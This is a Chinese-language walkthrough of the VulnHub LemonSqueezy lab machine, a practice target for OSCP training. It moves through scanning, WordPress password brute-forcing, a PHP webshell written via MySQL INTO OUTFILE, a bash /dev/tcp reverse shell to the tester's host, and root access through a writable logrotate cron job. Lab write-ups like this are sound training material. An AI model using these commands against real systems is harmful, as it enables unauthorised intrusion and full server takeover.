VulnHub靶场笔记 - LemonSqueezy(OSCP推荐靶场)
1 信息收集
1.1 主机探测
首先,对靶机网段进行扫描
sudo nmap -sn 192.168.220.1/24 --min-rate 1000 -T4
发现靶机IP地址为:192.168.220.133
sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.220.133
对靶机开放的端口及服务进行扫描
sudo nmap -sC -sV -O -oN nmap.txt --append-out 192.168.220.133 -p 80
靶机仅开放80端口
扫描UDP端口,没有发现端口开放
sudo nmap -sU -p- 192.168.220.133 --min-rate 1000 -T4 -oN nmap.txt --append-out
1.2 目录扫描
既然开放了80端口,那么可以在 kali-linux 中,使用 dirb 对靶机页面路径进行扫描
dirb http://192.168.220.133/
发现如下有价值的目录,说明该靶机存在一个mysql数据库管理后台和一个CMS
http://192.168.220.133/phpmyadmin/
http://192.168.220.133/wordpress/
1.3 WordPress页面探测
先在kali中,把域名和IP绑定
然后直接访问
1.4 WordPress漏洞扫描
使用 kali-linux 中的 wpscan(一个专门扫描WordPress漏洞的工具)对靶机进行漏洞扫描
wpscan --url http://lemonsqueezy/wordpress
结果如下
没有发现明显的可利用的漏洞(这个主题是否可以利用,我暂时还未深入研究),但是发现一个可以用于文件上传的目录
http://lemonsqueezy/wordpress/wp-content/uploads/
1.4.1 枚举用户-小字典
使用 kali-linux 自带的 fasttrack.txt 字典(在 /usr/share/wordlists 路径下),结合 wpscan 进行后台用户枚举
wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/fasttrack.txt
发现两个用户,lemon 和 orange ,可以将它们加入 user.list,以便后续使用
1.4.2 枚举用户-大字典
上述使用的小字典可能结果不够全面,因此还可以使用 kali-linux 自带的 rockyou.txt 字典进行一次枚举
wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/rockyou.txt
稍许等待即可发现一个结果:orange 用户的密码为 ginger,可以将这个信息更新至 cerd.list(用户名和密码组成的列表)
后续并没有发现其他结果,此处也可以尝试针对 lemon 用户继续爆破,以获得其密码
wpscan --url http://lemonsqueezy/wordpress -U lemon -P /usr/share/wordlists/rockyou.txt
2 getshell
2.1 WordPress后台登录
打开wordpress后台登录页面:http://lemonsqueezy/wordpress/wp-login.php,使用枚举得到的 orange 用户进行登录
发现一处敏感信息,这可能是另一个后台的登录密码
2.2 phpMyAdmin页面登录
我们使用在wordpress后台获得的密码尝试登录数据库后台
orange:n0t1n@w0rdl1st!
在wordpress的用户表中,可以找到lemon和orange的密码哈希值,将lemon的密码哈希值加入hash.txt
2.2.1 哈希爆破
可以使用 kali-linux 中的哈希爆破工具 john 对 lemon 用户的密码哈希值进行爆破
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
没有结果,可能是这个哈希值过于复杂。
除了 john,我们还可以尝试其他哈希爆破手段,此处略。
2.2.2 密码修改
我们可以调整思路,既然已经知道了 orange 用户的密码及其哈希值,那么我们可以尝试将 lemon 用户的密码哈希值改为与 orange 用户一致。如此一来,我们便可以使用 orange 用户的密码登录 lemon 用户的账号
同时,我们更新cerd.list
2.3 WordPress后台登录-lemon
我们使用 lemon 用户登录 WordPress 后台,显然 lemon 用户拥有比 orange 用户更高的权限
2.4 WordPress页面渗透
2.4.1 寻找php代码编辑点
可以在 Appearance -> Editor 中找到一些php页面文件,但大多数是锁定状态,并不能编辑
2.4.2 通过MySQL写入shell
在常用的一句话木马写入手段中,除了文件上传、页面文件修改等方法之外,在能够操纵数据库后台的情况下,我们还可以通过执行SQL脚本实现一句话木马的注入。
找到SQL脚本编辑页面,我们可以在此处写入一个shell
编辑如下内容,将一个一句话木马(1.php)生成至 /var/www/html/wordpress/wp-content/uploads 路径下
SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/wordpress/wp-content/uploads/1.php'
访问如下URL,通过 GET 请求参数验证一句话木马是否成功上传
http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=id
命令成功执行
2.5 shell反弹
在 kali-linux 中开启监听
sudo nc -lvvnp 2233
访问如下URL,将靶机shell反弹至 kali-linux 中
http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.220.129/2233 0>%261'
至此,我们成功getshell
3 权限提升
3.1 初步提权
首先,查看有无python
which python
有python,尝试初步提权(进而可执行tty命令等)
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
3.2 信息探测
在/var/www目录下查看user.txt内容
解base64,得到一句话 Music can change your life,可能是一个提示
3.3 root提权
3.3.1 查看可利用sword
查找所有设置了 setuid 位的文件
find / -perm -u=s -type f 2>/dev/null
初步观察,没有可利用的文件
3.3.2 查看定时任务
cat /etc/crontab
有一个 /etc/logrotate.d 路径下的定时任务 logrotate 值得关注
查看该文件的权限信息
发现权限是777(rwxrwxrwx),说明可以写入该文件,进而实现提权
3.3.3 定时任务logrotate利用
首先,查看该文件内容
备份该文件,然后将 /bin/bash 写入 logrotate 文件中
# 备份文件
cp logrotate /var/www/html/wordpress/wp-content/uploads/logrotate.bak
# 将/bin/bash写入
echo 'chmod +s /bin/bash' > logrotate
不断查看 /bin/bash 的权限,如果出现 s,说明定时任务已经执行
3.3.4 获取root权限
当定时任务执行后,我们就可以通过执行如下命令来获取root权限了
/bin/bash -p
提权成功
3.4 获取flag
切换到 /root 目录下,发现 root.txt 文件,解base64得到flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!